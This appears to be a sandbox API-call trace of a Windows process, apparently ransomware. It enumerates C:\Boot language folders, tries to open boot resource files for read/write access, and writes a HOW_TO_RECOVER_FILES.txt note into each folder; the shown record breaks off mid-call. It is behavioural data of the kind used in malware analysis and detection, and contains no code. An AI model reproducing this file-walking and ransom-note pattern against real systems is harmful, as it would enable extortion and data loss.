[0071.666] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df00) returned 1 [0071.666] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e000) returned 1 [0071.667] GetFullPathNameW (in: lpFileName="C:\\Boot\\ru-RU", nBufferLength=0x105, lpBuffer=0x1f59daa0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\ru-RU", lpFilePart=0x0) returned 0xd [0071.667] FindFirstFileW (in: lpFileName="C:\\Boot\\ru-RU\\*", lpFindFileData=0x1f59dd20 | out: lpFindFileData=0x1f59dd20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef698608, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef698608, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec326b0 [0071.667] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef698608, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef698608, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0071.667] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21107f25, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12d60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0071.667] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef698608, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f699a6, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xafa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0071.667] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef698608, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f699a6, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xafa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0071.667] FindClose (in: hFindFile=0x1ec326b0 | out: hFindFile=0x1ec326b0) returned 1 [0071.668] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df40) returned 1 [0071.668] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df00) returned 1 [0071.668] GetFullPathNameW (in: lpFileName="C:\\Boot\\ru-RU\\bootmgr.exe.mui", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\ru-RU\\bootmgr.exe.mui", lpFilePart=0x0) returned 0x1d [0071.668] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59ddb0) returned 1 [0071.668] GetFileAttributesExW (in: lpFileName="C:\\Boot\\ru-RU\\bootmgr.exe.mui" (normalized: "c:\\boot\\ru-ru\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x31b4940 | out: lpFileInformation=0x31b4940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21107f25, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12d60)) returned 1 [0071.668] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd70) returned 1 [0071.668] GetFullPathNameW (in: lpFileName="C:\\Boot\\ru-RU\\bootmgr.exe.mui", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\ru-RU\\bootmgr.exe.mui", lpFilePart=0x0) returned 0x1d [0071.668] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0071.668] CreateFileW (lpFileName="C:\\Boot\\ru-RU\\bootmgr.exe.mui" (normalized: "c:\\boot\\ru-ru\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0071.670] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59a6a0) returned 1 [0071.670] GetFullPathNameW (in: lpFileName="C:\\Boot\\ru-RU\\memtest.exe.mui", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\ru-RU\\memtest.exe.mui", lpFilePart=0x0) returned 0x1d [0071.671] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59ddb0) returned 1 [0071.671] GetFileAttributesExW (in: lpFileName="C:\\Boot\\ru-RU\\memtest.exe.mui" (normalized: "c:\\boot\\ru-ru\\memtest.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x31b4ff0 | out: lpFileInformation=0x31b4ff0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef698608, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f699a6, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xafa0)) returned 1 [0071.671] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd70) returned 1 [0071.671] GetFullPathNameW (in: lpFileName="C:\\Boot\\ru-RU\\memtest.exe.mui", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\ru-RU\\memtest.exe.mui", lpFilePart=0x0) returned 0x1d [0071.671] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0071.671] CreateFileW (lpFileName="C:\\Boot\\ru-RU\\memtest.exe.mui" (normalized: "c:\\boot\\ru-ru\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0071.672] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59a6a0) returned 1 [0071.673] GetFullPathNameW (in: lpFileName="C:\\Boot\\ru-RU\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f59da50, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\ru-RU\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x26 [0071.673] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59df70) returned 1 [0071.673] CreateFileW (lpFileName="C:\\Boot\\ru-RU\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\boot\\ru-ru\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x768 [0071.675] GetFileType (hFile=0x768) returned 0x1 [0071.675] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dee0) returned 1 [0071.675] GetFileType (hFile=0x768) returned 0x1 [0071.675] WriteFile (in: hFile=0x768, lpBuffer=0x31b79f0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f59e038, lpOverlapped=0x0 | out: lpBuffer=0x31b79f0*, lpNumberOfBytesWritten=0x1f59e038*=0x5d0, lpOverlapped=0x0) returned 1 [0071.676] CloseHandle (hObject=0x768) returned 1 [0071.677] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e000) returned 1 [0071.677] GetFullPathNameW (in: lpFileName="C:\\Boot\\sk-SK", nBufferLength=0x105, lpBuffer=0x1f59daa0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\sk-SK", lpFilePart=0x0) returned 0xd [0071.677] FindFirstFileW (in: lpFileName="C:\\Boot\\sk-SK\\*", lpFindFileData=0x1f59dd20 | out: lpFindFileData=0x1f59dd20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4938cb0, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec326b0 [0071.677] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4938cb0, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0071.677] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21107f25, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12d58, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0071.678] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0071.678] FindClose (in: hFindFile=0x1ec326b0 | out: hFindFile=0x1ec326b0) returned 1 [0071.678] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df40) returned 1 [0071.678] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df00) returned 1 [0071.678] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e000) returned 1 [0071.678] GetFullPathNameW (in: lpFileName="C:\\Boot\\sk-SK", nBufferLength=0x105, lpBuffer=0x1f59daa0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\sk-SK", lpFilePart=0x0) returned 0xd [0071.678] FindFirstFileW (in: lpFileName="C:\\Boot\\sk-SK\\*", lpFindFileData=0x1f59dd20 | out: lpFindFileData=0x1f59dd20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4938cb0, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec326b0 [0071.678] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4938cb0, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0071.678] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21107f25, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12d58, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0071.678] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21107f25, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12d58, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0071.679] FindClose (in: hFindFile=0x1ec326b0 | out: hFindFile=0x1ec326b0) returned 1 [0071.679] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df40) returned 1 [0071.679] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df00) returned 1 [0071.679] GetFullPathNameW (in: lpFileName="C:\\Boot\\sk-SK\\bootmgr.exe.mui", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\sk-SK\\bootmgr.exe.mui", lpFilePart=0x0) returned 0x1d [0071.679] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59ddb0) returned 1 [0071.679] GetFileAttributesExW (in: lpFileName="C:\\Boot\\sk-SK\\bootmgr.exe.mui" (normalized: "c:\\boot\\sk-sk\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x31c6360 | out: lpFileInformation=0x31c6360*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21107f25, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12d58)) returned 1 [0071.680] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd70) returned 1 [0071.680] GetFullPathNameW (in: lpFileName="C:\\Boot\\sk-SK\\bootmgr.exe.mui", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\sk-SK\\bootmgr.exe.mui", lpFilePart=0x0) returned 0x1d [0071.680] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0071.680] CreateFileW (lpFileName="C:\\Boot\\sk-SK\\bootmgr.exe.mui" (normalized: "c:\\boot\\sk-sk\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0071.681] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59a6a0) returned 1 [0071.682] GetFullPathNameW (in: lpFileName="C:\\Boot\\sk-SK\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f59da50, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\sk-SK\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x26 [0071.682] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59df70) returned 1 [0071.682] CreateFileW (lpFileName="C:\\Boot\\sk-SK\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\boot\\sk-sk\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x768 [0071.683] GetFileType (hFile=0x768) returned 0x1 [0071.683] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dee0) returned 1 [0071.683] GetFileType (hFile=0x768) returned 0x1 [0071.683] WriteFile (in: hFile=0x768, lpBuffer=0x31c8d60*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f59e038, lpOverlapped=0x0 | out: lpBuffer=0x31c8d60*, lpNumberOfBytesWritten=0x1f59e038*=0x5d0, lpOverlapped=0x0) returned 1 [0071.684] CloseHandle (hObject=0x768) returned 1 [0071.687] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e000) returned 1 [0071.687] GetFullPathNameW (in: lpFileName="C:\\Boot\\sl-SI", nBufferLength=0x105, lpBuffer=0x1f59daa0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\sl-SI", lpFilePart=0x0) returned 0xd [0071.687] FindFirstFileW (in: lpFileName="C:\\Boot\\sl-SI\\*", lpFindFileData=0x1f59dd20 | out: lpFindFileData=0x1f59dd20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec32b90 [0071.688] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0071.688] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21107f25, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0071.688] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0071.688] FindClose (in: hFindFile=0x1ec32b90 | out: hFindFile=0x1ec32b90) returned 1 [0071.688] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df40) returned 1 [0071.688] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df00) returned 1 [0071.688] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e000) returned 1 [0071.688] GetFullPathNameW (in: lpFileName="C:\\Boot\\sl-SI", nBufferLength=0x105, lpBuffer=0x1f59daa0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\sl-SI", lpFilePart=0x0) returned 0xd [0071.688] FindFirstFileW (in: lpFileName="C:\\Boot\\sl-SI\\*", lpFindFileData=0x1f59dd20 | out: lpFindFileData=0x1f59dd20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec326b0 [0071.688] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0071.689] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21107f25, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0071.689] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21107f25, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0071.689] FindClose (in: hFindFile=0x1ec326b0 | out: hFindFile=0x1ec326b0) returned 1 [0071.689] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df40) returned 1 [0071.689] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df00) returned 1 [0071.689] GetFullPathNameW (in: lpFileName="C:\\Boot\\sl-SI\\bootmgr.exe.mui", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\sl-SI\\bootmgr.exe.mui", lpFilePart=0x0) returned 0x1d [0071.689] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59ddb0) returned 1 [0071.689] GetFileAttributesExW (in: lpFileName="C:\\Boot\\sl-SI\\bootmgr.exe.mui" (normalized: "c:\\boot\\sl-si\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x31dae18 | out: lpFileInformation=0x31dae18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21107f25, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b60)) returned 1 [0071.689] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd70) returned 1 [0071.689] GetFullPathNameW (in: lpFileName="C:\\Boot\\sl-SI\\bootmgr.exe.mui", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\sl-SI\\bootmgr.exe.mui", lpFilePart=0x0) returned 0x1d [0071.689] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0071.689] CreateFileW (lpFileName="C:\\Boot\\sl-SI\\bootmgr.exe.mui" (normalized: "c:\\boot\\sl-si\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0071.691] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59a6a0) returned 1 [0071.691] GetFullPathNameW (in: lpFileName="C:\\Boot\\sl-SI\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f59da50, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\sl-SI\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x26 [0071.692] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59df70) returned 1 [0071.692] CreateFileW (lpFileName="C:\\Boot\\sl-SI\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\boot\\sl-si\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x768 [0071.692] GetFileType (hFile=0x768) returned 0x1 [0071.692] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dee0) returned 1 [0071.692] GetFileType (hFile=0x768) returned 0x1 [0071.693] WriteFile (in: hFile=0x768, lpBuffer=0x31de8a8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f59e038, lpOverlapped=0x0 | out: lpBuffer=0x31de8a8*, lpNumberOfBytesWritten=0x1f59e038*=0x5d0, lpOverlapped=0x0) returned 1 [0071.693] CloseHandle (hObject=0x768) returned 1 [0071.694] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e000) returned 1 [0071.694] GetFullPathNameW (in: lpFileName="C:\\Boot\\sr-Latn-CS", nBufferLength=0x105, lpBuffer=0x1f59daa0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\sr-Latn-CS", lpFilePart=0x0) returned 0x12 [0071.694] FindFirstFileW (in: lpFileName="C:\\Boot\\sr-Latn-CS\\*", lpFindFileData=0x1f59dd20 | out: lpFindFileData=0x1f59dd20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0x5168548b, ftLastAccessTime.dwHighDateTime=0x1d3271b, ftLastWriteTime.dwLowDateTime=0x5168548b, ftLastWriteTime.dwHighDateTime=0x1d3271b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec326b0 [0071.694] FindNextFileW (in: hFindFile=0x1ec326b0, 